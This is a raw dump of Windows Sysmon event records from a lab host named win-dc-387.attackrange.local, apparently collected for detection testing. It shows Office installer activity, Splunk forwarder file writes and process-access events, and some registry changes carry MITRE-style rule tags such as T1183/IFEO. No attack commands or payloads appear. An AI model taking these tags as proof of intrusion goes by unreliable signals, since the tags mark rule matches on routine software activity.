AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=763DF8952099C6016DBDFE24E0AA352F,SHA256=3A75C91A4F38D8B65F6ACEC0DB86AA2D312ED3676077584D53388305DDE8620D,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=48AD5639028CD39F874AD37083EFEFF3,SHA256=7ACAEBB2B77151E96511B6E5BE4DDDD20A222EC8F5784357E8D2303383EA16F0,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.112{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=049B7995E4E27CC2412300350DDE628A,SHA256=D3DA06C5D0B4E57DF28C9C254F5F9ABE84F8A3B09B3B7251F1AB4C9C2D3632B4,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.096{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.081{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=C21447EB1AA03AFF2A65460D1A0162CF,SHA256=3A7AE941E116EF69EC3111CA535009FBDA02E3F6F7D53D223944C668BAA45120,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.081{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=74EAEAA672AEF318912EEE0237271E84,SHA256=C34E1E590F1C088807CA4EBFE63C4DBF97736962592519CE2BB8A7FA0A0A5930,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.065{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=3C2B5E0E3ABE21F2789DFACCBAFA483D,SHA256=3DEFD25D3FA97C3E53467AEBE6A2F0DD4E8A82A16F4D3EFD8666902A7BAFD2D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.065{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=92267C1722BD5CAD0992AECFCC0BE6C3,SHA256=FC87EE41B9FCF03E18EDE97B2DDD3CF80D09F31BD88A79058723E34F39A1A936,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7F36DEDB51C22283F23A28322DAF3CF0,SHA256=DFE509D4E61275CF211275406654439A9CEF03AE273273DFFE7B8D4DCFD04844,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.049{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.049{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.049{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A4E3964E614A5AF6ADE25E8DCFA8E50E,SHA256=F3AC85321E3C8FA67185F5355ED50E990FD6667A1C89215ECA763FEDDCB83C83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=9C11E777987BA63BBEC9CAAA5AD441BD,SHA256=3E07021DDFB289BDF8B01B4D10814646A7912BBEA1566E1CA928A4158DB4EB5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.018{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=F7DF20E22EA1BD5861A58FAC4FE5CEA3,SHA256=EAF9CC12B27033F68E15427618518D74D22D770A1A23CE7C8DAAC48F5D90F72E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.002{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=69F9CD4BFF632185EE37A463BD3B7AEA,SHA256=C45F34CBED20005FD5DC1EA2C1E7B1855E1F8E12E35EC391760070A03B1277A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.002{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=BCC36C20125A00388A49B5190C1AF7B3,SHA256=D24056D10355B4B92D689D49BAA8162153EC500579478B188D1C9B253E9A6645,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.987{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.POWERPNT.16.1033.hxnMD5=C06FFBD09155E6136DEF26B295423D7D,SHA256=9F3C998B5584CB4B4171499A22C941C056F0B708A53D2D63A4292AE58CD6AFBF,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspub.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Office\16.0\ClickToRunStore\Applications\PublisherC:\Program Files\Microsoft Office\root\Office16\MSPUB.EXE 23542300x800000000000000041618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.MSPUB.16.1033.hxnMD5=B7C03E8EAAE1E213894305DD514027F8,SHA256=C2082001715F4687D652253D7B5B4CDD854D50E5AA90B1AC6C40BA3C22A83483,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000041616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5A1DCFD3-7982-48F2-8A3D-5C35272862DE}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\MsoAdfPs.DLL 13241300x800000000000000041614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.971{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{807583E5-5146-11D5-A672-00B0D022E945}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF.DLL 11241100x800000000000000041612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:09.956{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\Office Feature Updates Logon2021-09-10 14:41:14.147 10341000x800000000000000041611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.956{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.956{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=287B42422572D898AF23F75AAEA6850C,SHA256=29DD46CCC9C58536A38B79779B35C680C3035CFD918A8B3096C62C90D4FF465C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.956{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.940{7BD73061-6F39-613B-B208-00000000F001}47086252C:\Windows\system32\conhost.exe{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-B208-00000000F001}4708C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9aa0a|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f1bd1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 